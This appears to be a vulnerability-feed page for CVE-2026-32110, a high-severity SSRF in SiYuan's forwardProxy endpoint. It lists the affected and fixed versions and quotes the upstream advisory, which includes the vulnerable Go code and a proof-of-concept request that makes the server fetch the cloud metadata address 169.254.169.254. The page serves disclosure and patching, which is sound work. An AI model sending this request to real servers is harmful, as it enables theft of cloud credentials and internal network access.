Answer in brief
CVE-2026-32110 records a High severity (CVSS 8.3) vulnerability in SiYuan has a Full-Read SSRF via /api/network/forwardProxy. The current sources do not mark it as known exploited. The current feed maps github.com/siyuan-note/siyuan/kernel (go), github.com/siyuan-note/siyuan/kernel (go). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 8.3. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps github.com/siyuan-note/siyuan/kernel (go), github.com/siyuan-note/siyuan/kernel (go). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/siyuan-note/siyuan/kernelgo | >=0 <3.6.0 | 3.6.0 |
| github.com/siyuan-note/siyuan/kernelgo | <=3.5.9 | 3.6.0 |
Published upstream
Mar 12, 2026
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Nov 5, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Nov 5, 2026
### Summary The `/api/network/forwardProxy` endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services. ### Affected Code File: `/kernel/api/network.go` (Lines `153-317`) ``` func forwardProxy(c *gin.Context) { ret := gulu.Ret.NewResult() defer c.JSON(http.StatusOK, ret) arg, ok := util.JsonArg(c, ret) if !ok { return } destURL := arg["url"].(string) // VULNERABILITY: Only validates URL format, not destination if _, e := url.ParseRequestURI(destURL); nil != e { ret.Code = -1 ret.Msg = "invalid [url]" return } // ... HTTP request is made to user-controlled URL ... resp, err := request.Send(method, destURL) // Full response body is returned to the user bodyData, err := io.ReadAll(resp.Body) // ... ret.Data = data // Contains full response body } ``` ### PoC - First, authenticate with your access auth code and copy the authenticated cookie. - Now use the request below for SSRF to Access Cloud Metadata. ``` POST /api/network/forwardProxy HTTP/1.1 Host: <HOST> Cookie: siyuan=<COOKIE> Content-Length: 102 {"url":"http://169.254.169.254/metadata/v1/","method":"GET","headers":[],"payload":"","timeout":7000}' ``` <img width="1230" height="754" alt="Screenshot 2026-03-11 at 1 23 36 AM" src="https://github.com/user-attachments/assets/60486dba-1ccd-4287-8073-b803854756a2" /> ### Impact - Internal Network Reconnaissance: Attackers can scan internal services - Cloud Credential Theft: Potential access to cloud metadata and IAM credentials - Data Exfiltration: Server can be used as a proxy to access internal resources - Firewall Bypass: Requests originate from trusted internal IP
Quoted source text, attributed separately from HOL analysis.